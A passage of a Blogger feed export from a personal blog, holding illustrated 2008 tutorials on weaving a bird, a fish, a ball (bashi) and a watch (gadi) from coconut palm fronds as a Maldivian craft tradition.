strip and insert it into the knot like so.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHI_-zpb3WI/AAAAAAAAAH4/yBR9-7NC84s/s1600/IMG_6039.JPG'&gt;&lt;img width='161' height='121' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHI_-zpb3WI/AAAAAAAAAH4/9pBeYY5t1Q4/s320-R/IMG_6039.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Notice how the shiny side faces up? yea that's important if you want all shiny on the outside when you're done. Got it? now hold that intersection down and turn the thing around...&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://1.bp.blogspot.com/_bwme_BmmviI/SHJHjV_LxII/AAAAAAAAAJQ/7eT-YZyV51Y/s1600/IMG_6040.JPG'&gt;&lt;img width='126' height='168' src='http://1.bp.blogspot.com/_bwme_BmmviI/SHJHjV_LxII/AAAAAAAAAJQ/KyDWUOBgXy8/s320-R/IMG_6040.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;So far so good. Take the lose end of the second strip, and run it between the protruding tail section.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHJAVXYOBkI/AAAAAAAAAIA/EBe3QF_QG-c/s1600/IMG_6042.JPG'&gt;&lt;img width='151' height='113' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHJAVXYOBkI/AAAAAAAAAIA/3v0t47tOAk0/s320-R/IMG_6042.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Note how the non-shiny side faces up. Alright now here's where it gets a whee bit tricky. observe the next picture carefully. We're still playing with the lose end of the second strip here.&lt;br/&gt; &lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHJEi7i4whI/AAAAAAAAAI4/fjTferWCdVE/s1600/IMG_6043.JPG'&gt;&lt;img width='127' height='170' border='0' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHJEi7i4whI/AAAAAAAAAI4/fjTferWCdVE/s320/IMG_6043.JPG' id='BLOGGER_PHOTO_ID_5220310284966085138' alt=''/&gt;&lt;/a&gt;  See how it goes around, between the tail and into the knot. That end now needs to over OVER the loop formed by the second strip itself. Notice how I'm holding the thing? Holding it like this helps keep the strip from coming out of the tail section. Now pull the through that knot and over that loop like this.&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://2.bp.blogspot.com/_bwme_BmmviI/SHI3RxYeqFI/AAAAAAAAAGI/aBukazaEJ7w/s1600/IMG_6045.JPG'&gt;&lt;img width='108' height='148' src='http://2.bp.blogspot.com/_bwme_BmmviI/SHI3RxYeqFI/AAAAAAAAAGI/FhpmsmEmUzI/s320-R/IMG_6045.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Alright now grab the two lose ends that form the tail with one hand, and the other two with the other hand, and pull! carefully now.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://1.bp.blogspot.com/_bwme_BmmviI/SHJAm_uB7dI/AAAAAAAAAII/t2IAI3lWrqg/s1600/IMG_6046.JPG'&gt;&lt;img width='156' height='117' src='http://1.bp.blogspot.com/_bwme_BmmviI/SHJAm_uB7dI/AAAAAAAAAII/804-wR_8NPQ/s320-R/IMG_6046.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Pull that nice and tight. You're almost done with the body section. Alright now after you've tightened that up you should have something like this.&lt;br/&gt; &lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHJFJ-n_lmI/AAAAAAAAAJA/3fprM9I7-R4/s1600/IMG_6048.JPG'&gt;&lt;img width='155' height='117' border='0' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHJFJ-n_lmI/AAAAAAAAAJA/3fprM9I7-R4/s320/IMG_6048.JPG' id='BLOGGER_PHOTO_ID_5220310955807708770' alt=''/&gt;&lt;/a&gt;You should have four loose ends, two on each side. Of those, on of them are going to be neatly tucked and the other is going to be on the outside like is shown in the picture above. What you need to do is make an incision on the cross strip to tuck that loose strand in.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' imageanchor='1' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHJA7wqccFI/AAAAAAAAAIQ/SjLVmXlRXvU/s1600/IMG_6054.JPG'&gt;&lt;img width='148' height='111' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHJA7wqccFI/AAAAAAAAAIQ/3_E9L2HLH1w/s320-R/IMG_6054.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Repeat that for the other side as well. Congratulations, you have now completed the body. You should have a nice even structure now, with the loose strips of one end being shorter (the tail, which is also complete) and the other much longer (for the head and wings.)&lt;br/&gt;&lt;br/&gt;Now we go for the wings and head. On the head side, make a similar incision to the one you made to tuck in that loose end. Next, pull the strip through it (not completely), forming a loop.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHI6LT2mPVI/AAAAAAAAAGo/llvWK0IoaJY/s1600/IMG_6055.JPG'&gt;&lt;img width='183' height='138' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHI6LT2mPVI/AAAAAAAAAGo/mBIkEDL5qqU/s320-R/IMG_6055.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Repeat for the other side as well,&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHI_tU9ReJI/AAAAAAAAAHw/c9REXuLv6vY/s1600/IMG_6057.JPG'&gt;&lt;img width='180' height='136' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHI_tU9ReJI/AAAAAAAAAHw/AmGZ8Ul-dRs/s320-R/IMG_6057.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;That loop needs to be roughly the same size as the width of the strips (because you're going to pull them through it). Now for the wings, take one of the ends and pull it through that incision yet again, forming a second (larger) loop that will form the wings&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHI6ekoNOwI/AAAAAAAAAG4/VnNyqzFq_H4/s1600/IMG_6058.JPG'&gt;&lt;img width='137' height='183' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHI6ekoNOwI/AAAAAAAAAG4/c7O4HnqHeIE/s320-R/IMG_6058.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Repeat this for the other side as well, which will leave you something like... this&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHI8AQ6JEeI/AAAAAAAAAHA/8C6L7y8YZbc/s1600/IMG_6059.JPG'&gt;&lt;img width='160' height='120' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHI8AQ6JEeI/AAAAAAAAAHA/EAGIFFxFjYU/s320-R/IMG_6059.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Great now you've got wings. You're almost done now, just a few more loops. It's time to form that head! Take one of the ends, and insert it into the loop that is further away from it.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://3.bp.blogspot.com/_bwme_BmmviI/SHJBYFSqHWI/AAAAAAAAAIY/q3-wqoHzLGE/s1600/IMG_6063.JPG'&gt;&lt;img width='146' height='107' src='http://3.bp.blogspot.com/_bwme_BmmviI/SHJBYFSqHWI/AAAAAAAAAIY/y53YoggMZSQ/s320-R/IMG_6063.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;here's another perspective on that one..&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHI9PyisbLI/AAAAAAAAAHQ/uwfSKUVr5PI/s1600/IMG_6064.JPG'&gt;&lt;img width='156' height='117' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHI9PyisbLI/AAAAAAAAAHQ/fdARvGP_W6M/s320-R/IMG_6064.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;Don't tighten that up just yet. You need to loop the other loose end OVER the one you just formed, and into it, then thread it through the small loop that's away from it...&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://2.bp.blogspot.com/_bwme_BmmviI/SHJBnuBTXXI/AAAAAAAAAIg/bRwz-OZqydk/s1600/IMG_6066.JPG'&gt;&lt;img width='154' height='115' src='http://2.bp.blogspot.com/_bwme_BmmviI/SHJBnuBTXXI/AAAAAAAAAIg/8-vEkqf-6Po/s320-R/IMG_6066.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;Alright now you can tighten it. Slowly pull that through (grab the beak) to form...&lt;br/&gt;&lt;br/&gt; &lt;a href='http://4.bp.blogspot.com/_bwme_BmmviI/SHJFpZmCnoI/AAAAAAAAAJI/5jUBweYWfbU/s1600/IMG_6067.JPG' rel='lightbox[rukubird]'&gt;&lt;img width='147' height='110' border='0' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHJFpZmCnoI/AAAAAAAAAJI/5jUBweYWfbU/s320/IMG_6067.JPG' id='BLOGGER_PHOTO_ID_5220311495623220866' alt=''/&gt;&lt;/a&gt;&lt;br/&gt;see that? Yay you did it! All that's left to do now is cut those things up into any shape you like and you're done. Congratulations! You are now becoming more and more with nature.Here's the one I just made to take pictures for this tutorial.&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a rel='lightbox[rukubird]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SHJB38UcMDI/AAAAAAAAAIo/h1bT3n2U7bc/s1600/IMG_6072.JPG'&gt;&lt;img width='232' height='174' src='http://4.bp.blogspot.com/_bwme_BmmviI/SHJB38UcMDI/AAAAAAAAAIo/Siw3mOQ51mY/s320-R/IMG_6072.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;No comments about my hand needing moisturizer please. I already know that :P &lt;br/&gt;If you enjoyed that, make sure you check out the others in this series.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8653799068310467570?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8653799068310467570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-bird.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8653799068310467570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8653799068310467570'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-bird.html' title='RUKUFAN ORIGAMI: Bird'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bwme_BmmviI/SHIzOxK37zI/AAAAAAAAAFY/3gYXUxX8pGE/s72-Rc/IMG_6036.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3592237149451126861</id><published>2008-09-16T18:53:00.001+08:00</published><updated>2008-12-10T09:15:55.930+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: Fish</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Alright peeps here we go, by popular demand, this here is the nice illustrated guide to making a "fish" out of coconut palm fronds (SO THAT'S what they're called!!!). You could also just make it out of two strips of paper I suppose. I'm not feeling particularly vocal today, So I think I'll avoid the yapping and let the diagrams do the talking. There's a PDF version up for grabs down there. Click the image for a larger view.&lt;br/&gt;&lt;br/&gt;You start off with two strips (remove the "iloshi" from one and you'll have two..get it?) and using that... &lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a title='the how-to' rel='lightbox[rukufish]' href='http://1.bp.blogspot.com/_bwme_BmmviI/SGiWeehJRdI/AAAAAAAAAEo/BDwkcoU17oI/s1600/fish.png'&gt;&lt;img width='203' height='287' style='border: 0pt none ;' src='http://1.bp.blogspot.com/_bwme_BmmviI/SGiWeehJRdI/AAAAAAAAAEo/wSbcNtK1nsA/s400-R/fish.png'/&gt;&lt;/a&gt; &lt;br/&gt;&lt;br/&gt;&lt;/div&gt;And tighten. Cut off the excess into whatever shape of fins you like. If you got it right, here's what the finished product looks like (more or less)&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a title='and the result' rel='lightbox[rukufish]' href='http://4.bp.blogspot.com/_bwme_BmmviI/SGiXHt9nRCI/AAAAAAAAAEw/smZE1U4IyY0/s1600/IMG_5833.JPG'&gt;&lt;img width='222' height='166' style='border: 0pt none ;' src='http://4.bp.blogspot.com/_bwme_BmmviI/SGiXHt9nRCI/AAAAAAAAAEw/Rupj6CzHEBA/s320-R/IMG_5833.JPG'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;Neat huh? I'm particularly happy about how the diagrams came out. If you liked that please take some time to check out my previous posts, and don't forget to tell your friends.&lt;br/&gt;&lt;br/&gt;&lt;big&gt;&lt;b&gt;&lt;a href='http://kudanai.googlepages.com/fish.pdf'&gt;DOWNLOAD PDF VERSION&lt;/a&gt;&lt;/b&gt;&lt;/big&gt;&lt;br/&gt;&lt;br/&gt;Don't forget to check out the rest of the rukufan series.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3592237149451126861?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3592237149451126861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-fish.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3592237149451126861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3592237149451126861'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-fish.html' title='RUKUFAN ORIGAMI: Fish'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bwme_BmmviI/SGiWeehJRdI/AAAAAAAAAEo/wSbcNtK1nsA/s72-Rc/fish.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3689615510807986121</id><published>2008-09-16T18:48:00.001+08:00</published><updated>2008-09-16T18:48:55.370+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: Mission statement of sorts</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Well I'm positively delighted by the amount of positive responses I got from the last two posts. I would like to clarify one thing to you guys though, I am in no means an expert in the matter. I'm just learning this as I go, so please do bear with me. I've decided to push ahead with this as I've developed quite a fascination with this most extraordinary art-form.&lt;br/&gt;&lt;br/&gt;Unfortunately though, I'm a few thousand miles away and without access to the local knowledge pool so what I can learn over here is pretty limited. I've been asking my friends if any of them know about the subject but alas, it seems the rest of my generation here is as oblivious as I am. I seem to have however, sparked their interest - as I hope I have done yours as well. It is my sincere hope that more people will be able to share their knowledge with us. Those of you who can, please take some time to learn at least some simple stuff, and if possible share it with us. I think it'd be a great way to spend time with your parents/grand parents.&lt;br/&gt;&lt;br/&gt;On a more positive note, I've been told that there is one particular Maldivian here who is likely to know quite a bit about it, and I'm going to try and hunt him down. It seems he organized and weaved a "Bodumas" for a cultural festival here so there's definitely promise of getting some very exciting stuff out of him. The "Bodumas" is perhaps the pinnacle of the art-form and a symbol of our nationality.&lt;br/&gt;&lt;br/&gt;I will post how to make that fish (which I THINK was taught to me by my farther) soon.&lt;br/&gt;&lt;br/&gt;In other news, Elton John is still gay.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3689615510807986121?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3689615510807986121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-mission-statement-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3689615510807986121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3689615510807986121'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-mission-statement-of.html' title='RUKUFAN ORIGAMI: Mission statement of sorts'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6624035276317171402</id><published>2008-09-16T18:44:00.002+08:00</published><updated>2010-07-27T16:36:14.480+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: bashi (ball?)</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;After having FINALLY learnt how to make one of those things last night, I spent some time this morning to draw up some diagrams on how to make it for those of you who haven't had the fortune of inheriting this particular piece of our heritage. A bashi is a woven cube from palm fronds that was often used as a ball. So here goes!&lt;br /&gt;&lt;br /&gt;Basically you need to two leaves, long and healthy and without any insect holes (believe me when I raped the palm tree last night I got my fair share of "unsuitable" ones)&lt;br /&gt;&lt;br /&gt;Next you'll need to cut it into nice long (anything longer than a foot works I guess) strip. Leave the rib (iloshi) intact when you do this. Ok so now you got two nice long strips of "fan" (kekek) to play with. Now you need to take out the iloshi while leaving a small bit of it - roughly the same as the width of a half leaf- (from the side where the iloshi is narrower) holding the two segments of the leaf together, so you should have something like this.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SGXV_HmvDeI/AAAAAAAAADY/s0ajLY7rn9Q/s1600/g2853.png" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="147" id="BLOGGER_PHOTO_ID_5216811023728578018" src="http://3.bp.blogspot.com/_bwme_BmmviI/SGXV_HmvDeI/AAAAAAAAADY/s0ajLY7rn9Q/s320/g2853.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="105" /&gt;&lt;/a&gt;&lt;br /&gt;Got it? Great! now for the next step. Take one of these, and pull one of it's legs between those of the other one. Lay them on each other at right angles. Confused? Check the diagram :p&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SGXWspNmlVI/AAAAAAAAADg/WXTmjzuISpg/s1600/g2583.png" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="150" id="BLOGGER_PHOTO_ID_5216811805844084050" src="http://4.bp.blogspot.com/_bwme_BmmviI/SGXWspNmlVI/AAAAAAAAADg/WXTmjzuISpg/s320/g2583.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="103" /&gt;&lt;/a&gt;&lt;br /&gt;Alright now to get started with the weaving. It's easier if you have the "legs" facing away from you. I'll name each one (there are four right?) as a,b,c and d (starting from the left). Ok now you need to pull "a under b", and "d over c". Remember "a under b" and "d over c". Like so&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SGXXgQ6aK4I/AAAAAAAAADo/XzUd_J1EW8M/s1600/g2712.png" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="81" id="BLOGGER_PHOTO_ID_5216812692674325378" src="http://3.bp.blogspot.com/_bwme_BmmviI/SGXXgQ6aK4I/AAAAAAAAADo/XzUd_J1EW8M/s320/g2712.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="129" /&gt;&lt;/a&gt;&lt;br /&gt;notice how the "d" was on the underside and "a" on the top side before you began. Ok now after the "a under b" and "d over c" move, you cross a and d in a "a over d" move. It might be a little handful at first buy you'll get the hang of it. the "a over d" move is like so -&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/SGXYgu4npkI/AAAAAAAAADw/UeG4eWJjyeE/s1600/g2773.png" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="125" id="BLOGGER_PHOTO_ID_5216813800231511618" src="http://1.bp.blogspot.com/_bwme_BmmviI/SGXYgu4npkI/AAAAAAAAADw/UeG4eWJjyeE/s320/g2773.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="138" /&gt;&lt;/a&gt;&lt;br /&gt;Are we having fun yet? The above move will leave you with something looking like this&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/SGXaAJBJrwI/AAAAAAAAAD4/RskroH0SnIw/s1600/g2985.png" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="119" id="BLOGGER_PHOTO_ID_5216815439334190850" src="http://1.bp.blogspot.com/_bwme_BmmviI/SGXaAJBJrwI/AAAAAAAAAD4/RskroH0SnIw/s320/g2985.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="134" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOW TIGHTEN!!! pull it hard you bitches!!! (whoa hey not so much!) alright now that completes one weave. It's going to try and bend (that's supposed to happn so let it happen) Congratulations! Now you'll once again have four legs facing away from you. Rename (a-d) from the left again, and start over from the "a under b" move, and then when you reach this point again, start over again..over...and over...and over.. and OOOOOVVEERRRRRRRRRR... until you're almost out of "leg", (or you the thing is as big as you want. You need four weaves minumum...I think. Let's play on the safe side and make it a five weave minimum) at which point it's now time for you to "tuck in".&lt;br /&gt;&lt;br /&gt;You do this by pulling the legs under the weave. I couldn't draw this (bah!), so I took a picture and drew arrows on it ;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/SGXaYiXbz1I/AAAAAAAAAEA/yjOBbouDIxM/s1600/IMG_5829.JPG" rel="lightbox[bashi1]" class="group"&gt;&lt;img alt="" border="0" height="159" id="BLOGGER_PHOTO_ID_5216815858455400274" src="http://1.bp.blogspot.com/_bwme_BmmviI/SGXaYiXbz1I/AAAAAAAAAEA/yjOBbouDIxM/s320/IMG_5829.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" width="212" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pull that through,TIGHTEN, repeat it for all the legs for a couple of times and cut off the rest. (It would probably we wise to leave your own legs intact)&lt;br /&gt;&lt;br /&gt;Congratulations! You are now a proud Maldivian :)&lt;br /&gt;&lt;br /&gt;Happy weaving. Post pictures if you make it. Now then, does anybody know how to make those pretty little bird things? Goddamnit I should've payed more attention as a kid huh? Maybe I would've learned something other than to &lt;a href="http://shadesofevil.blogspot.com/2008/06/make-gadi-watch-out-of-fan-palm-leaves.html"&gt;make a "Gadi"!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Seriously though if any of you do know how to make one, do post. OR teach me how to make one so I'll post it :p&lt;br /&gt;&lt;br /&gt;Sharing is caring people sharing is caring.&lt;br /&gt;&lt;br /&gt;Now check out this fish I made. Ok so it's not the prettiest thing but hey I'm no "pro"&lt;br /&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SGXzoeMbltI/AAAAAAAAAEY/0pJLJUvc4Uc/s1600/IMG_5832.JPG" rel="lightbox[fishprev]" class="group"&gt;&lt;img height="100" src="http://4.bp.blogspot.com/_bwme_BmmviI/SGXzoeMbltI/AAAAAAAAAEY/8Fd6dAh17RE/s320-R/IMG_5832.JPG" style="border: 0pt none;" width="134" /&gt;&lt;/a&gt;  &lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SGXzp2IMlaI/AAAAAAAAAEg/s6zieYFx-CI/s1600/IMG_5833.JPG" rel="lightbox[fishprev]" class="group"&gt;&lt;img height="101" src="http://3.bp.blogspot.com/_bwme_BmmviI/SGXzp2IMlaI/AAAAAAAAAEg/pTd9tsgevV8/s320-R/IMG_5833.JPG" style="border: 0pt none;" width="132" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6624035276317171402?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6624035276317171402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-bashi-ball.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6624035276317171402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6624035276317171402'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-bashi-ball.html' title='RUKUFAN ORIGAMI: bashi (ball?)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bwme_BmmviI/SGXV_HmvDeI/AAAAAAAAADY/s0ajLY7rn9Q/s72-c/g2853.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4166354484874028592</id><published>2008-09-16T18:31:00.001+08:00</published><updated>2008-12-10T09:15:57.195+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: the watch (gadi)</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;My grandma used to make these for us when we were kids. We drew little clock faces on them and wrecked all sorts of havoc around the neighborhood. Sadly though you almost never see coconut palms around male' (are there any left?) and people don't really do this kinda stuff for their kids anymore. Since I have a lot of time on my hands today I thought I'd waste some time and draw up some illustrations... perhaps make a few of you a little nostalgic.&lt;br/&gt;&lt;br/&gt;So here goes -&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;a title='guide to making a fan gadi' rel='lightbox' href='http://1.bp.blogspot.com/_bwme_BmmviI/SGSToCH6NCI/AAAAAAAAADI/2D3uDmc2NTg/s1600/fangadi.png'&gt;&lt;img border='0' id='BLOGGER_PHOTO_ID_5216456584375972898' alt='' src='http://1.bp.blogspot.com/_bwme_BmmviI/SGSToCH6NCI/AAAAAAAAADI/2D3uDmc2NTg/s320/fangadi.png' style='margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 339px; height: 480px;'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4166354484874028592?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4166354484874028592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-watch-gadi.html#comment-form' title='0 Comments'/><link rel='edit' 